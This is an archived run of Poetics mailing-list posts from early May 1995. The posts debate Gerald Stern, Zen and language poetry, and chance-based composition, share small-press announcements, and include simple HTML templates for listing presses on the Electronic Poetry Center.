Awhile Back, Mark Wallace complained (or STATED) that a poet needs THEORY these days if s/he wants to teach. Either that or a really good hustler. Of course if one's a good hustler, why would one WANT to teach ? So, it seems this issue is coming up again. We see the SHAKESPEARE issue--and we see the ELECTRONIC and "audio/visual" culture issue... yes, poetry is not enough academically--one needs some kinda GIMMICK. Yeah, man, I DO like Bob Dylan (as a poet) better than Gerald Stern (who's may safe whipping boy,

a metonymy for many others, many parts of me)--but there are so many silly hybrids out there. And not only that ALlen Ginsberg has a LOUSY voice! And not only that the Brannagh version of MUCH ADO could have been much better... It's all way to "middle brow" isn't it? It is far more fun (tis a far far better thing) to go to a loud thrash like concert and come back and read something like Wallace Stevens than to try to pretend that "poetry " that ain't got nuthin' on zimmerman, is more soulless than even your basic garage band IN ADDITION to being something that doesn't hold up under repeated readings, is going to be something we should like....heavy yawn "I used to be disgusted now I try to be amused...." CS

↑ Index

5. Andrew Joron

Dirt

Mon 1 May 1995

More evidence of life beyond SPD: Today I received a chapbook in the mail (such free exchanges of publications being our own form of samizdat) which delighted & astounded me: _Dirt_ by Jim Leftwich (Luna Bisonte Prods, 137 Leland Ave., Columbus OH 43214, no price), saddle-stapled, tan cover w/ mutant calligraphy in green ink, containing 14 pp. of rapturous, recombinant "neo-prose" made partly of words you won't find in any dictionary:

by rave brome scalp ledge has to that's. ark of retuse
bathe. mesquite quota bort livid noel. elute is part of
as, ring our cyme rust sea. to refuge the then of steel.
thyme for knot he umbels in a cord, soft of sap, a
silence salt as wheels sleep. seem the graphs of scalpel
port. dash sharp shred dome, touch moat inhalation.
exhale advertiseachine, if you splinter a game with mah.
epos hade smear seta rasp. dial roil youth texture
prayers wisp evil ration into which.

Throughout the book, Jim is "morphing" morphemes with the speed of sound, maybe a verbal equivalent of saxophonist Evan Parker's circular breathing technique. *Here's* what poetry is like without SPD (I like SPD and am glad it exists, yet it has many limitations which less institutionalized, more grassroots forms of poetic interchange can & should circumvent.)

Andrew Joron

↑ Index

6. Chris Stroffolino

who wrote this???

Mon 1 May 1995

The other day I found some poems laying on a quite boring quasi-suburban street in a tiny town that only has CHAIN bookstores (and some used) Suprisingly, the poem isn't totally hideous....and in some ways resemble H.D. There are four poems: "OLD MATH" "THE SEA OUTSIDE" :THE HIATUS" and "BREAKTHROUGH"---- I am curious if any one knows who wrote them? BREAKTHROUGH

Fields migrate into gold
the sea sprawls out of its chains

the scene's torn
the light patched

water cuffs the air
while the bay laughs
starlings sown like grain

with a knowing wink of dark
an airplane crosses noon

the equinox leaps
through the clock

clouds fall upwards
the moon feels tall
the sky keels south
what blooms is the wind

I want to say there's something really goofy about these poems,and maybe I'm only stopped because it may have been written by someone I'm SUPPOSSED to like---Yes, SPENCER, what's in a name? But what is poetr suppossed to do? to be? Chris

↑ Index

7. Mn Center For Book Arts

Re: intro oral & visual cultures to poetics @once!

Mon 1 May 1995

Bravo to Chris Funkhouser! for pointing out the idiocy of seeing poetry more or less only as print, even though he admits that print has various important values. As one of the print book makers he values, I must say that I agree wholeheartedly, and have also committed my own work to various media, from taped to electronic to print. Radio has received some of the most valuable,

although it doesn't add up to a lot of hours. And I had one of my greatest revelations when, after a long period of being disturbed about the closure (books are closed for 99.9% of their lives, but I'm sure someone will dispute that statistic) of print, I simply realized that, once read, a work is never closed. So, while I'll continue to make books which can be held and read (or at least as long as it doesn't seem too insane to use paper, and, if it gets to that point, I do know how to make paper), I hope to also keep on getting work into other media which I hold as no less valuable, some of them media for which we have yet to discover their sensual characteristics.

charles alexander
chax press

↑ Index

8. Mn Center For Book Arts

Re: Dirt

Mon 1 May 1995

Thanks, Andrew Joron, for the excerpt from DIRT. But I think that, not only is Jim Leftwich morphing morphemes, he's sounding phonemes, something I've been finding, lately, more rare and more valuable. The value of DIRT is not fully experienced without sounding the work, and not only hearing/sounding, but feeling the mouth make those sounds. It's physical work of the highest order. Thank you for pointing it out. I think I'd like to find the book's physical equivalent of THAT.

charles alexander

↑ Index

9. John Byrum

Re: Not definition 2

Tue 2 May 1995

Tzara: all words are forgotten limitless

↑ Index

10. John Geraets

Zen & lango

Tue 2 May 1995

A friend who likes Leslie Scalapino's material
asks about how Zen may figure in her writing practice.

I notice names like Steve Benson,John Cage,
Alan Davies,Jackson Mac Low,Leslie Scalapino and Armand
Schwerner in _Beneath a Single Moon_ (ed. Kent
Johnson & Craig Paulenich), which is an anthology of
Bhuddist/Zen/Poetry related poets.

If Zen (or another spiritual) practice has a part in
your writing, or you know of material that may be
interesting in this regard, please let me know.

My friend and I thought maybe the porousness of language
writing may be a very spiritual thing. But, as I
say, would welcome any information, thoughts you may have.

John Geraets
[redacted]

↑ Index

11. Spencer Selby
Re: who wrote this???
Tue 2 May 1995

Dear Chris,

Poetry is supposed to be and do.

what blooms is anonymous
when clouds feel goofy
in your paradox of
knowing it's alright

Love,
Spencer

↑ Index

12. Hank Lazer
Re: Zen & lango
Tue 2 May 1995

John Geraets--

On Zen & poetry & Leslie Scalapino. Funny you should ask. You might want to take a look at the writing of Norman Fischer (recently elevated to the status of zen abbot -- based in San Francisco). His most recent book, from Chax, PRECISELY THE POINT BEING MADE, is quite marvelous. And zen-nish. I mention Norman in connection with Leslie because the two of them are currently writing back and forth, a series of poems and letters that definitely do

push & pull around zen practice. You might try writing directly to Leslie Scalapino or to Norman if you're interested in looking at this exchange-in-progress.

Hank Lazer

↑ Index

13. Tom Mandel

Re: who wrote this???

Tue 2 May 1995

What looms is synonymous
(whence gouges yield clues free)
It's tight all night
(in your arid box of lowing)

Tm

↑ Index

14. Federation Sand

Intro & Question

Tue 2 May 1995

Hello everybody,

I'm new to this list, though a few of you may know(of) me...I publish the paper and web versions of the magazine _Cyanosis_ the second issue of which is recently out. Submission guides are available via e-mail (but one should see the publication before submitting). #1 is $8.00 for a sample. #2 is $10.00, they're 8.5x11, perfect bound, B&W #1=112pp, #2=212pp. Work by (2) Selby, Albon, Daniel Davidson, Gary Sullivan, Marta Dieke, Jeff Conant, John McNally, Steven Schutzman, Ben Marcus, Brian Schorn, and many others...a lot of very unusual graphic material as well as interviews with a robticist, a photographer and a nuerosurgeon!

That aside (please pardon the plug)...a little about myself/interests and a question:

I'm interested in most art forms, the relationship between science/art and the psyche. My writing is concerned primarily with what I would call 'shifts of attention' wherein refocussing of attention provides for a reinterpretation of the relationships between beings, objects and events. I would classify myself as a poet concerened both with metaphysics and music, passionately, sometimes violently involved with questions of the nature of being.

Well...that sure sound pretentious in retrospect!

And now a question to the list...

I need help locating both Brian Schorn and Ben Marcus, if anyone knows anything about the whereabouts of these two helions I'd be glad to recive such info so that I can get them their contributor copies of the recent issue...

I look forward to some inspiring interactions with ya'll

Darin De Stefano

Cyanosis Web Site: http://www.slip.net/syszero/syszero.html

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|        ~      ~       ~        |
|      {:::}   ___    <===>      |
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!:: REMEMBER YOUR FIRST CELL ::!

↑ Index

15. George Bowering
Re: cordelia
Tue 2 May 1995

Re CXhris Stroffolino's message of May 1.
Who is Gerald Stern? Is that an in-joke?
One knows some of the work of Harryman, and one has been reading/teaching Spicer since 1963.
But one has never heard of Gerald Stern. I thought that was the name of that New York radio morning guy with the long hair.

↑ Index

16. George Bowering
Re: Small Press Traffic
Tue 2 May 1995

Not only was Pound being ironic in that advice to give up poetry, as there's nothing in it---he was quoting his figure who stands in for Arnold Bennett.

↑ Index

17. cris cheek
Re: and desire / the 39 steps
Tue 2 May 1995

---

your terms are a couch to me. streams glowing rust under grounds provide means of transports out of sight. arguments overtaking home thorough honey from voices caught in several 'minds' - those outcrops from the desert plain that flower her e

↑ Index

18. Robert A Harrison
Hermetic Gallery Visual Poetry Show
Tue 2 May 1995

There's been a change in plans for the Visual Poetry show to take place at the Hermetic Gallery in Milwaukee, WI.

The new deadline for work is August 1, 1995.

The show will now run from August 25 to September 30.

Submissions preferred in but not limited to 8 1/2 by 11 format.

Send work to

Bob Harrison & Nick Frank
PO Box 11166
Milwaukee, WI 53211

Thanks

↑ Index

19. Tony Green
Re: cordelia
Tue 2 May 1995

Hi Chris Stroffolino, I too walk around with illusions of understanding things, like Shaks plays & posts on the net. I crave true understandings, but have to make do with what I've got.

Sadly, I find, often, not true enough.

What to do?

When will I ever learn?

Best wishes,

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

20. Tony Green
Re: Zen & lango
Tue 2 May 1995

Dear John Geraets,

Richard von Sturmer is back in Auckland for a couple of months, another good person to ask about Zen and poetry. I'll get you his snail-mail address.

Best wishes

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

21. Tony Green
Re: Zen & lango
Tue 2 May 1995

Dear John Geraets,

Your list does not include Philip Whalen ? (& too obviously omits? a large part of the Beat generation and friends of disembodied Kerouac....)

Best

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,

Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

22. George Bowering

Re: Real men read hardware poetry

Tue 2 May 1995

In Canada it is not unlikely to find that men who work with wood also read (and write) poetry. David Phillips is a terrific poet who works as a carpenter. Bob Fones is a very good poet who works as a carpenter. Bob Rose (who has moved back to Wash. State) is a good poet and carpenter, and here in Vancouver once workt at a wooden shipworks. I have poems by and bookshelves by both Rose and Phillips in my house.

↑ Index

23. Mn Center For Book Arts

Re: Zen & lango

Tue 2 May 1995

Just to correct Hank's note on Zen, Leslie Scalapino, & Norman Fischer, for John Geraets, that Norman's PRECISELY THE POINT BEING MADE is co-published by Chax & Leslie's O Books. Norman is a Zen monk and teacher, and yes, Leslie is exuberantly interested in his work, and is in dialogue with him in her work. In January they gave a talk together in San Francisco.

Hi, Hank

charles alexander

↑ Index

24. Edward Foster

Re: and desire / the 39 steps

Tue 2 May 1995

---

until you reason, nothing darkens sight. in this demonic pleasure, transport overtakes the green regard, no desert but an intimate despair that doubles as delight. in this the voice is single until he is here, thus imititate my fear.

↑ Index

25. **beard**

Re: Zen & lango

Wed 3 May 1995

> *Richard von Sturmer is back in Auckland for a couple of months, another good person to ask about Zen and poetry.*

Tony,

I think Riemke Ensing has an interest in Zen, if only as part of a general interest in Eastern aesthetics:

The Katherine Mansfield Signature as Zen Painting:<p>
<pre>
No doubt about that fine down line turning
up the tail end of a winter
branch. Definitely
Niten's Shrike and maybe Tohaku
is there making mountains
in the morning mist.

(Ignore the <> bits, they're just HTML codes for italics and so on.)

Bernadette Hall's poetry has been described as having a `Zen-like concentration on the spiritual behind the real', and of course Baxter was introduced to Zen by his son Hoani. It's just a stab in the dark, but my reading of _Autumn Testament_ leads me to think that Baxter was about to renounce Catholicism in favour of something resembling Zen Buddhism before he died.

Tom Beard

==========
==========
Tom Beard
"There was a way out of here..." [redacted]
Auckland, New Zealand

==========
==========

↑ Index

26. Ron Silliman
Re: Gerald Stern
Wed 3 May 1995

Gerald Stern is a poet in his 60s who I believe teaches in Florida these days. He was one of the first academic free verse writers of the post WW2 era to define a style that was pointedly "non Iowa City" but no more interesting (to my eye) for it. He has had a profound (perhaps devastating) influence on poets whose work I have some fondness for, such as Jack Gilbert (the Yale Younger Poet of the early 60s who attended Spicer's Magick Workshop) and Linda Gregg. Betwixt the three there's a whole little Gerald Stern cult out there somewhere. He occasionally does commentaries on NPR where he seems primarily to be Andrei Codrescu without the professional accent.

↑ Index

27. Ron Silliman
Re: Zen & lango
Wed 3 May 1995

Thinking of the influence of zen buddhism (and other traditions of buddhism also) on poets like Alan Davies and Jackson Mac Low, I also thought of how (if I have my facts straight) Alan was brought up in the Seventh Day Adventist tradition, as was John Taggart, another poet with both a strong spiritual and strong puritan streak. One could of course ask these questions of other traditions as well....

Kathy Acker and Hannah Weiner, for example, both have had significant encounters with hindu traditions.

Also, while we're noting zen poets, Alan Senauke, a priest at the Berkeley Zen Center, was a NY School poet (trained by Koch et al at Columbia where he co-edited an anthology of student writing that was pretty lively, called The Cinch, as I recall) and later a bluegrass musician. Steve Abbott died at the hospice run by Whalen's group in SF.

Ron

↑ Index

28. Robert Drake
Re: poetry and the electronic
Wed 3 May 1995

i'd encourage _everyone_ who publishes work to consider
adding their information to the UPC's WWW site, by filling
in the following templates & returning them to me, luigi,

at:
[redacted]

lbd

****

all this talk about puttin' stuff on the net makes it
sound hard-to-do & scary, but it's not. it does take
a little time, which lots of us are short on. so here's
a stab at distributing the work, & making it less
threatening...

okay, so here's 2 "templates" to use to construct
publisher's pages for the Electronic Poetry Center.
There are 2 parts here: the first part is a "publisher's
page", which will present overall information about your
press plus a list of publications that you have available.
the second part is a template that you'll fill out for
each individual title--if you have 5 titles, you'll need
to make 5 separate copies, one for each title. in practice,
readers will see the first page describing the press, and
the list of titles will be "hotlinks", allowing them to
select and jump to the information about the specific title.

How to do it:
^^^^^^^^^^^^

-->instuctions relating to filling in these templates are
enclosed between rows of asterix *****, just like this
intro is. you can delete the instructions, or i will.

-->the bits of information on the templates that you've gotta fill in are [enclosed
in brackets]--just replace all the stuff in brackets (& the brackets themselves)
with the appropriate info. for example, i'd replace:

<H1>[NAME OF YOUR PRESS--all caps]</H1>

with:

<H1>BURNING PRESS</H1>

ignore, _but leave in place_, all the other stuff ("<HTML>" etc.-- that's the
formatting stuff, and it becomes invisible to the reader when they're viewing
the document; other text is just the framework into which you're fitting your
information--change it as appropriate). some of the data may seem redundent--
but different parts are used by the system in different ways... trust me.

after you're done, send it all back to me, i'll do a little cleaning up (and
installing the links), and send it on to Loss for inclusion in the EPC.

this is an experiment, & i'll be interested to see how it works. if you have any questions, just write me (luigi) at:

[redacted].

asever
lbd

****

****
start of "publisher's page" template:
****

<HTML>
<TITLE> [Title of Document--usually your press name] </TITLE>
<H1> [NAME OF YOUR PRESS--all caps] </H1>

<BODY>

[put a general description of your press here;
history, mission, editorial perspective, etc.
<P>
it can go on for several paragraphs if you wish--
put "<P>" at the _beginning_ of every paragraph,
just as i did at the beginning of this paragraph.]

<HR>

********** the next section will become the "hotlist"--a list of the titles you're describing, each of which will "link" to each of the separate titles' descriptions & samples.
 ignore all the gibberish--replace the bracketed "[title #1]" etc. with the titles & authors as you want them to appear (i did the first one as a model). you can add as many titles as you wish-- just duplicate the whole line & follow the same format. and there's a bracketed space available for publication date, optional but helpful... **********

<P>
<H2>Titles Available from [your press name here]:</H2>
<UL>
<LI> <A HREF="xxx.html"> James Joyz: USELESSYS </A> (1904)
<LI> <A HREF="xxx.html"> [author #2]: [TITLE #2] </A> ([date #2])
<LI> <A HREF="xxx.html"> [author #3]: [TITLE #3] </A> ([date #3])
<LI> <A HREF="xxx.html"> [author #4]: [TITLE #4] </A> ([date #4])
<LI> <A HREF="xxx.html"> [author #5]: [TITLE #5] </A> ([date #5])

</UL>

<HR>
<P>

For further information about [your press name here],
or to place an order, contact:
<P>

<H3>[your name]
[your street address]
[your city/state/zipcode]<P>
</H3>

or email:
<P>
<H3><ADDRESS>[your email address]</ADDRESS></H3>
<HR>

Back to EPC's <A HREF = "bookhome.html">Publisher's Bookshelf</A>

</BODY>
</HTML>

****
end of "publisher's page" template
****

********** start of
"publication page" template; you'll need to make one of these for _each_
publication you listed under "Titles Available from Press" section, above:
****

<HTML>
<TITLE>[Title of Document,"Author: TITLE" (ie Joyze: USELESSYS)]</TITLE>
<H1>[Author of Book: Initial Caps]:</H1>
<H1>[TITLE OF BOOK: ALL CAPS]</H1>

<BODY>

[put a descriptive blurb about the book here; style content etc...
keep in mind that this may potentially reach a VERY diverse audience,
many of whom have _not a clue_ about things you take for granted...
<P>
again, you can go on for several paragraphs if you wish--
perhaps quotes from some reviews (one paragraph @)?--
as before, put "<P>" at the _beginning_ of every paragraph.]

<P>
<H3>About the Author:</H3>

[an optional short bio &/or list of other publications...
like sed, almost _anybody_ might wind up reading this,
might help clue some folks in...]

<HR>

****
the next section should contain a sample of work from the book.
it will appear _exactly_ as typed, in standard monospaced font,
so type it in as you wish it to appear: spacing, indents, line-
breaks etc...

feel free to give a substantial taste of the author's work--
bytes are cheap--i'd suggest duplicating the heading information
(<H3>[POEM TITLE] by [Author]</H3>) for each poem, if you
include more than one.
<P>
some work (audio-poetry, concrete poetry, etc.) may not be able
to be represented adequately in plain-ASCII text formats.
if that's the case, contact me ([redacted]),
& i'll work with you to get it right...
****

<P>
<H3>[POEM TITLE] by [Author]</H3>
<H4>From the book [Book Title]</H4>

<P>
<PRE>

[the poem (or other sample from the publication) goes here:

roses are read
violets are too
i'd write about tansy
but charlie sed it's taboo

(end ov poem)]

</PRE>
<HR>
<P>

<H4>[BOOK TITLE] is available from [your press name here] for [book price,
postpaid].</H4>

For further information, or to place an order, contact:
<P>

<H3>[your name]
[your street address]
[your city/state/zipcode]
</H3>
<P>

or email:<P>
<H3><ADDRESS>[your email address]</ADDRESS></H3>

****
optional bit if you're willing to consider trades--
tailor it to fit your individual terms...
****

<P>
The publisher is willing to consider trading with other publishers
or authors for this title--contact her via email to make specific
arrangements...
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29. Hank Lazer
Re: Gerald Stern
Wed 3 May 1995

I'm not joking, Ron, and others. There are two Sterns (Gerry). One is Jerry Stern who does commentaries on NPR. He's a fiction writer based at Florida State. Gerald Stern, who usually teaches at Iowa, and who taught here at Alabama, is a poet who works in emotional saturated long lines, has a reputation as a hip jewish version of Whitman, etc. Wins lots of awards. Was a childhood buddy of Jack Gilbert (as for Ron's sketch on influence, it could go the other way, Gerry idolizes Jack and vice versa). Gerry's career got a late start with Lucky Life when Gerry was perhaps in his early to mid forties. Since then,

an avalanche of books. He's a "dramatic" reader, very popular with the MFA gravy train, much anthologized, awarded, and in some circles powerful.... etc. etc.etc.

Hank Lazer

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30. **cris cheek**
Re: poetry and the electronic
Wed 3 May 1995

I'd just like to openly thank Bob Drake for his very workable templates. Also of course to Loss at the EPC and all those who have pegged away at this discussion.

It'll be intriguing to watch the publisher sites flourish over the next couple of months as we get to grips with making the mistakes - but put the information up on-line.

sincerely terrific intervention Bob
love
cris

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31. **Kit Robinson**
ZenLang
Wed 3 May 1995

Reply to: ZenLang John Geraets, The visiting Chinese scholar Zhang Zing (sp? - Hank?) told me he is working with two groups of poets in China--a "language" group, with interest in parallel developments here, and a zen group, whose work is naturalistic and lyrical. According to Zhang, these groups are basically antithetical, with no overlap. He was surprised when I told him about the common ground here (Fischer, Davies, et al.) Subsequently, I wrote a brief essay for Zhang on Zen & poetry, focusing on my own practice and quoting a couple of koans from the Gateless Barrier (Mumonkan). I can send it to you if you like. Kit Robinson

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32. **I.LIGHTMAN**
aleatoric composition, using chance
Wed 3 May 1995

Hallo everyone,

I just wanted to float a topic, because Ron mentioned Jackson MacLow, and we've been talking about Zen. I'm very interested in aleatoric composition, in New Music Composition, famously with John Cage, and also in writing, famously also with Cage as well as MacLow and others. I'd be really interested in anyone off or on list discussing with me (and informing me over) some things that have been interesting me. Mostly: how is chance conceived?

Does it have to be random?

Does the artist have to turn over the work to chance, for it to be proper aleatoric work? Karlheinz Stockhausen uses chance as part of his process, generating values within a composition he's set up, letting chance set up the composition but putting in his own values, editing afterwards etc. If chance is a kind of experimentation, where is the research write-up? Shouldn't there be at least some, sometimes?

Also: can chance be oracular?

If one is consulting an oracle, the I-Ching, the Tarot, isn't it potentially sacriligeous to use it to generate non-ego, randomness etc? Isn't it a bit colonialist, like picking up the I-Ching on one's travels and using it as a toy? How much interest is there, or recognition, of artists using aleatoric methods as a kind of rune casting, to produce something more true, that surprises and sobers her/him?

I'd very much appreciate anyone's thoughts - especially you, Herb, as we've been talking a bit about this privately, and I'd really like to hear your New Music background come in, or you, Cris, ditto, or any of us who have been talking from the mystical side of agnosticism rather than the athiest secular side,

Ira

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33. Kit Robinson
Reading
Wed 3 May 1995

Reply to: Reading
James, Bill, Tony, Marisa, Kenny, Marc, & others in or near NYC,

I will be reading with Joe Elliot at:
The Mazer Theater of the Educational Alliance
197 East Broadway (corner of Jefferson St.), New York

[redacted] ext. 394
Sunday, May 14, 4 p.m.

Hope I see you there.

Kit Robinson

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34. David Ball
Re: Zen & lango
Wed 3 May 1995

I would include Philip Whalen in just about ANY positive list...

INCLUSIVE WHALEN-FAN

↑ Index

35. Ryan Knighton
Re: aleatoric composition, using chance
Wed 3 May 1995

I too love this subject, as it happens. What interests me is the role of agency. It seems, as with Jackson M., that the removal of agency, if that is possible, calibrates as much chance as Oulipo does by setting strictures, by heightening agency. Any thoughts on this paradox? Or is it just a paradox to me?

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36. Chris Stroffolino
Re: cordelia
Wed 3 May 1995

Dear George Bowering--- I used to think Howard Stern was better than Gerald Stern, but then he helped get Pataki elected. Gerald Stern is a kind "Iowa School" poet who didn't get famous until he was mid-50's or so but has won over the "mainstream" "unpolitical" "suburban" proletariat crowd in many ways. When I was in college he read. The editor of my college poetry magazine was absolutely OBSESSED with him....he has a poem that ends with the lines: I lean on my right side for words And on my left side for music (something like that) this just knocked her out, for some reason i'll never understand...anyway, ironies of ironies, I read with the guy in Phila. in 1987....He would tell the "story behind the poem"--I wrote this when i was sitting on the back porch while my family was inside watching t.v." then he'd begin the poem, "I was on the back porch and my family was inside watching T.V." even my then 15 year old sister thought it was absurd....we prefered Paul

Westerburg who had just released "Pleased To Meet Me"--- "One foot in the door, the other foor in the gutter The sweet smells that you adore. I think I'd rather smother...." Hope this answers your question.....Chris Stroffolino

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37. Chris Stroffolino
Re: Gerald Stern
Wed 3 May 1995

Hank---Gerald Stern as a "hip jewish version of Whitman"---he's about the opposite of hip i thought....not that hip should be a standard... but though people tend to like his "bodily disgust", I never heard him called "hip"--he's pretty much the paradigm of conventional. Phillip Levine and James Tate may be "hip" enough to redeem them from blandness, but Stern???? Explain. I agree with you about the MFA gravy train, though. Somebody in Phila., once referred to the "Gerald Stern poetry mafia." Yours, Abby Hoffa

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38. George Bowering
Re: cordelia
Wed 3 May 1995

Well, you cant fault Shakespeare for not developing female characters, either, L. Because the idea of a character in literature had not yet been invented. Now that we dont believe in them any more, we should be able to read Shakes better than people could 50 years ago. Maybe not, but it seems as if it should be true. But I do agree with you that Shakespeare's sonnets are a dream. One coulkd take them for a year to a desert isle and survive on them.

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39. Alan Sondheim
Re: Gerald Stern
Wed 3 May 1995

When this discussion started, I thought you were all talking about Gerd Stern, who founded USCO and did some prescient writing in the 1970s - any idea where he is now?

Alan

On Wed, 3 May 1995, Chris Stroffolino wrote:

> *Hank---Gerald Stern as a "hip jewish version of Whitman"---he's about the opposite of hip i thought....not that hip should be a standard...*

> *but though people tend to like his "bodily disgust", I never heard him called "hip"--he's pretty much the paradigm of conventional. Phillip Levine and James Tate may be "hip" enough to redeem them from blandness, but Stern???? Explain. I agree with you about the MFA gravy train, though. Somebody in Phila., once referred to the "Gerald Stern poetry mafia." Yours, Abby Hoffa*

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40. Tenney Nathanson
Re: POETICS Digest - 1 May 1995 to 2 May 1995
Wed 3 May 1995

Charles (A), Hank (L) et al: does Leslie actually, ahem, sit? Also: anybody have a sense of how to make the zen stuff engage the Baudelaire/Benjamin stuff in her Trilogy? I've done a rudimentary version of an article on the latter aspect of the book, but ducked the former as too lengthy for what I had room (or smarts) for. Current hunch is that Benjamin's Theses (on History) will be best avenue. But suggestions/queries very welcome.... Tenney

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41. Susan Schultz
2 announcements
Thu 4 May 1995

TinFish, a journal of experimental poetry, with an emphasis on work from the Pacific region, welcomes contributions. Please write to the editor, Susan M. Schultz, at 1422A Dominis Street, Honolulu, HI 96822, or Dept of English, 1733 Donaghho Road, University of Hawaii, Honolulu, 96822. The first issue will be free to anyone who asks for a copy (and you can do this over email). Please spread the word. And many thanks to those who responded to my earlier query.

While I'm at it, let me advertise the publication, in June, of a group of essays, _The Tribe of John: Ashbery and Contemporary Poetry_, from the University of Alabama Press, which I edited. Contributors include Charles Altieri, Charles Bernstein, Bonnie Costello, Donald Revell, Andrew Ross, and John Shoptaw. The book offers new readings of Ashbery's work, as well as investigations of the cultural contexts of contemporary American poetry.

Susan S.

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42. John Cayley
Re: aleatoric composition, using chance
Thu 4 May 1995

A similar thread came up in the experiwhat? discussions and I'm repeating some remarks from previous posts.

'In this day and age' we can no longer ignore the possibilities of working in 'real time' when composing *using* chance.

The machine allows us to generate results and adjust processes fast enough for there to be subsequent composition of the procedures themselves, such that these procedures may be adjudged/selected/devloped for their richness.

Processes can also be open-ended, feeding back into themselves. I have a new piece that learns phrases selected from generated text by the reader. The reader's copy of the piece is changed irreversibly by adding selections. Since the generative process is based on frequencies of collocations (word juxtapositions) the piece will eventually be dominated by phrases selected by the reader. (It would probably also eventually choke on the amount of text generated and selected. BTW this is probably also properly 'chaotic' -- literary turbulence slowly drawn towards a 'strange attractor', nudged into place by the reader.)

The aleatory is here being *used* and *composed* sometimes by the reader.

Cris and Ira, I know, have seen the work I have done for Macintosh machines and which moves in this direction.

Other references -- I don't think they been mentioned yet -- are: Charles O. Hartman & Hugh Kenner (yes, *the* Hugh Kenner) _Sentences_ by Sun & Moon, 1995 (I've just rec'd it) which prints results from applying O'Rourke & Kenner's 'Travesty' program and Hartman's programming of Mac Low's diastic method (v. similar to my own 'mesostic hologograms'). Neither can we ignore the Fluxus and Emmett Williams, esp. say, his 'ultimate poetry' (_A Valentine for Noel_ etc.)

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43. Sheila E. Murphy
Re: aleatoric composition, using chance
Thu 4 May 1995

>Hallo everyone,
>
>I just wanted to float a topic, because Ron mentioned Jackson MacLow, and
>we've been talking about Zen.

>	I'm very interested in aleatoric composition, in New Music
>Composition, famously with John Cage, and also in writing, famously also
>with Cage as well as MacLow and others.
>	I'd be really interested in anyone off or on list discussing with
>me (and informing me over) some things that have been interesting me.
>	Mostly: how is chance conceived?
>
>Does it have to be random?
>
>Does the artist have to turn over the work to chance, for it to be proper
>aleatoric work? Karlheinz Stockhausen uses chance as part of his process,
>generating values within a composition he's set up, letting chance set
>up the composition but putting in his own values, editing afterwards etc.
>If chance is a kind of experimentation, where is the research write-up?
>Shouldn't there be at least some, sometimes?
>
>	Also: can chance be oracular?
>
>If one is consulting an oracle, the I-Ching, the Tarot, isn't it potentially
>sacriligeous to use it to generate non-ego, randomness etc? Isn't it a bit
>colonialist, like picking up the I-Ching on one's travels and using it as
>a toy? How much interest is there, or recognition, of artists using
>aleatoric methods as a kind of rune casting, to produce something more true,
>that surprises and sobers her/him?
>
>I'd very much appreciate anyone's thoughts - especially you, Herb, as we've
>been talking a bit about this privately, and I'd really like to hear your
>New Music background come in, or you, Cris, ditto, or any of us who have
>been talking from the mystical side of agnosticism rather than the athiest
>secular side,
>
>Ira
>
Ira, A few thoughts in response to the topic you've floated. When trust supplies the foundation for engagement with chance practices, miracles can happen. The process seems to require a complete letting go to work as it can (note the absence of "should"). I became wildly interested in 12-tone music during my undergrad studies in music theory and composition. And later in writing set up structures or configurations that could serve as containers (not strong enough and at the same time too strong a word) that released me from simultasking on infrastructure and sound or meaning.

I'm most interested in chance practices by Jackson MacLow and others, partly because of what happens when confidence and the wide open possibilities intersect.

The establishing of arbitrary (but are they?) structures that one finds or invents for generative practice can lead to very worthwhile findings. I don't mean to preach my interest, as you obviously have yours. Just a quick say so. Glad to be thinking about this again and again.

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44. Mn Center For Book Arts
Re: cordelia's westerbergian, stern as hell
Thu 4 May 1995

Chris Stroffolino writes,

> we prefered Paul Westerburg (sic) who had just released
> "Pleased To Meet Me"---
> "One foot in the door, the other foor in the gutter
> The sweet smells that you adore. I think I'd rather smother...."
> Hope this answers your question

When I moved to Minneapolis year before last I thought, at first, that Paul Westerberg being here and from here was one of the rare saving graces. I've found a few more, but he's still near the top.

> charles alexander

↑ Index

45. Ron Silliman
Re: Gerald Stern
Thu 4 May 1995

Hank,

The idea of two Gerald Sterns is too cruel to imagine,

Ron

↑ Index

46. Hank Lazer
Re: Gerald Stern
Thu 4 May 1995

Yes, Ron, two Sterns is more stern a world than one ought to have to inhabit....
I could tell stories (see G. Stern in panel discussion in What Is a Poet?--

interactions with C Bernstein etc)) -- but value the use of my kneecaps, knowing how rough the poetry mafia can be.

Hank

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47. **Hank Lazer**
Re: ZenLang
Thu 4 May 1995

Kit--It's Zhang Ziqing (who is a scholar based in Nanjing at Nanjing University--a wonderful person). He has some translations and a brief essay on the New Zen Poets in the current Talisman.--Hank

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48. **Hank Lazer**
Re: Gerald Stern
Thu 4 May 1995

Chris--I agree with your take on "hip" & GStern--I meant the term ironically, as if it were a jacket blurb (with which I am in disagreement). Personally, I find most of his work formulaic safe effusiveness, the finger pointing too insistently to the sensitive poet's own tears... -- Hank

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49. **Hank Lazer**
Re: POETICS Digest - 1 May 1995 to 2 May 1995
Thu 4 May 1995

Tenney--Hello! Sorry, I don't know the answers to your questions. Might try writing directly to Leslie....

Hank Lazer

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50. **Madeline Gins**
Recipients of Poetics Digest
Thu 4 May 1995

Please send me an updated list of the recipients of Poetics Digest.

Thank you

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51. Chris Stroffolino
Re: Gerald Stern
Thu 4 May 1995

Of course there's two Charles Bernstein's two (so maybe that cancels out the two gerald Sterns ha ha)...the other one edited a punk poetry zine in the late 80's in Illinois called "Cops Hate poetry"--I lost touch with him. I know there's two David Shapiros's two--the more famous one got upset I'm told when he found out the lesser one got published because he used the name.....Ah. The name game....and happy 25th anniversary of the Kent State Massacre everyone!!! (It's april. No, May. it's May--- as Frank said). CS

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52. H. T. KIRBY-SMITH
Aleatory Poetry
Thu 4 May 1995

As I understand it, John Cage uses --in his poetry-- an arbitrary sequencing to guarantee perpetual freshness and spontaneity--to force the poetic genius constantly to invent for itself and assert itself in new ways.

If that's not quite right, perhaps all the better. After all, we are not talking about reaching agreement on anything.

